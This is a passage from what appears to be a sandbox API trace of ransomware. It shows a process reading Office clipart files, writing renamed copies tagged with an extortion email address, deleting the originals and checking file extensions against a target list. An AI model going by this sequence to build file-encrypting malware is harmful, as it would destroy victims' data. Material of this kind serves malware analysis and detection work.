files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.609] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.609] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0082.609] GetLastError () returned 0x0 [0082.609] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x976, lpOverlapped=0x0) returned 1 [0082.610] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x980, lpOverlapped=0x0) returned 1 [0082.611] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.611] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.612] SetEndOfFile (hFile=0x37c) returned 1 [0082.612] CloseHandle (hObject=0x37c) returned 1 [0082.613] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.613] SetEndOfFile (hFile=0x348) returned 1 [0082.613] CloseHandle (hObject=0x348) returned 1 [0082.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0082.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0082.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0082.615] lstrlenW (lpString=".doc") returned 4 [0082.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.615] lstrlenW (lpString=".docx") returned 5 [0082.615] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0082.615] lstrlenW (lpString=".pdf") returned 4 [0082.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.615] lstrlenW (lpString=".xls") returned 4 [0082.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.615] lstrlenW (lpString=".xlsx") returned 5 [0082.615] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0082.615] lstrlenW (lpString=".ppt") returned 4 [0082.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0082.615] lstrlenW (lpString=".zip") returned 4 [0082.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.615] lstrlenW (lpString=".rar") returned 4 [0082.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.615] lstrlenW (lpString=".bz2") returned 4 [0082.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.615] lstrlenW (lpString=".7z") returned 3 [0082.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0082.616] lstrlenW (lpString=".dbf") returned 4 [0082.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0082.616] lstrlenW (lpString=".1cd") returned 4 [0082.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0082.616] lstrlenW (lpString=".jpg") returned 4 [0082.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0082.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0082.616] lstrlenW (lpString=".doc") returned 4 [0082.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.616] lstrlenW (lpString=".docx") returned 5 [0082.616] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0082.616] lstrlenW (lpString=".pdf") returned 4 [0082.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.616] lstrlenW (lpString=".xls") returned 4 [0082.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.616] lstrlenW (lpString=".xlsx") returned 5 [0082.616] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0082.616] lstrlenW (lpString=".ppt") returned 4 [0082.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0082.616] lstrlenW (lpString=".zip") returned 4 [0082.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.616] lstrlenW (lpString=".rar") returned 4 [0082.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.616] lstrlenW (lpString=".bz2") returned 4 [0082.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.617] lstrlenW (lpString=".7z") returned 3 [0082.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0082.617] lstrlenW (lpString=".dbf") returned 4 [0082.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0082.617] lstrlenW (lpString=".1cd") returned 4 [0082.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0082.617] lstrlenW (lpString=".jpg") returned 4 [0082.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.617] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.617] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0082.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.618] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2262) returned 1 [0082.618] CloseHandle (hObject=0x348) returned 1 [0082.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220 [0082.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.618] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.618] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0082.619] GetLastError () returned 0x0 [0082.619] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0082.620] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0082.621] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.621] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.621] SetEndOfFile (hFile=0x37c) returned 1 [0082.621] CloseHandle (hObject=0x37c) returned 1 [0082.622] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.622] SetEndOfFile (hFile=0x348) returned 1 [0082.623] CloseHandle (hObject=0x348) returned 1 [0082.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0082.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0082.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0082.623] lstrlenW (lpString=".doc") returned 4 [0082.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.624] lstrlenW (lpString=".docx") returned 5 [0082.624] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0082.624] lstrlenW (lpString=".pdf") returned 4 [0082.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.624] lstrlenW (lpString=".xls") returned 4 [0082.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.624] lstrlenW (lpString=".xlsx") returned 5 [0082.624] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0082.624] lstrlenW (lpString=".ppt") returned 4 [0082.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0082.624] lstrlenW (lpString=".zip") returned 4 [0082.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.624] lstrlenW (lpString=".rar") returned 4 [0082.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.624] lstrlenW (lpString=".bz2") returned 4 [0082.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.624] lstrlenW (lpString=".7z") returned 3 [0082.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0082.624] lstrlenW (lpString=".dbf") returned 4 [0082.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0082.624] lstrlenW (lpString=".1cd") returned 4 [0082.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0082.624] lstrlenW (lpString=".jpg") returned 4 [0082.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0082.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0082.624] lstrlenW (lpString=".doc") returned 4 [0082.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.624] lstrlenW (lpString=".docx") returned 5 [0082.624] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0082.625] lstrlenW (lpString=".pdf") returned 4 [0082.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.625] lstrlenW (lpString=".xls") returned 4 [0082.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.625] lstrlenW (lpString=".xlsx") returned 5 [0082.625] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0082.625] lstrlenW (lpString=".ppt") returned 4 [0082.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0082.625] lstrlenW (lpString=".zip") returned 4 [0082.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.625] lstrlenW (lpString=".rar") returned 4 [0082.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.625] lstrlenW (lpString=".bz2") returned 4 [0082.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.625] lstrlenW (lpString=".7z") returned 3 [0082.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0082.625] lstrlenW (lpString=".dbf") returned 4 [0082.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0082.625] lstrlenW (lpString=".1cd") returned 4 [0082.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0082.625] lstrlenW (lpString=".jpg") returned 4 [0082.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.625] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.625] lstrlenW (lpString="CLIP.WMF") returned 8 [0082.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.626] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2262) returned 1 [0082.626] CloseHandle (hObject=0x348) returned 1 [0082.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220 [0082.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.626] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.626] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0082.627] GetLastError () returned 0x0 [0082.627] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0082.628] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0082.629] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.629] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1 [0082.629] SetEndOfFile (hFile=0x37c) returned 1 [0082.629] CloseHandle (hObject=0x37c) returned 1 [0082.630] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.630] SetEndOfFile (hFile=0x348) returned 1 [0082.631] CloseHandle (hObject=0x348) returned 1 [0082.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0082.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0082.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0082.632] lstrlenW (lpString=".doc") returned 4 [0082.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.632] lstrlenW (lpString=".docx") returned 5 [0082.632] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0082.632] lstrlenW (lpString=".pdf") returned 4 [0082.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.632] lstrlenW (lpString=".xls") returned 4 [0082.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.632] lstrlenW (lpString=".xlsx") returned 5 [0082.632] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0082.632] lstrlenW (lpString=".ppt") returned 4 [0082.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0082.632] lstrlenW (lpString=".zip") returned 4 [0082.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.632] lstrlenW (lpString=".rar") returned 4 [0082.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.632] lstrlenW (lpString=".bz2") returned 4 [0082.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.632] lstrlenW (lpString=".7z") returned 3 [0082.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0082.632] lstrlenW (lpString=".dbf") returned 4 [0082.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0082.632] lstrlenW (lpString=".1cd") returned 4 [0082.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0082.632] lstrlenW (lpString=".jpg") returned 4 [0082.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0082.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0082.632] lstrlenW (lpString=".doc") returned 4 [0082.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.632] lstrlenW (lpString=".docx") returned 5 [0082.633] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0082.633] lstrlenW (lpString=".pdf") returned 4 [0082.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.633] lstrlenW (lpString=".xls") returned 4 [0082.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.633] lstrlenW (lpString=".xlsx") returned 5 [0082.633] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0082.633] lstrlenW (lpString=".ppt") returned 4 [0082.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0082.633] lstrlenW (lpString=".zip") returned 4 [0082.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.633] lstrlenW (lpString=".rar") returned 4 [0082.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.633] lstrlenW (lpString=".bz2") returned 4 [0082.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.633] lstrlenW (lpString=".7z") returned 3 [0082.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0082.633] lstrlenW (lpString=".dbf") returned 4 [0082.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0082.633] lstrlenW (lpString=".1cd") returned 4 [0082.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0082.633] lstrlenW (lpString=".jpg") returned 4 [0082.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.633] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.633] lstrlenW (lpString="CRANE.WMF") returned 9 [0082.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.634] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=5270) returned 1 [0082.634] CloseHandle (hObject=0x348) returned 1 [0082.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0082.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 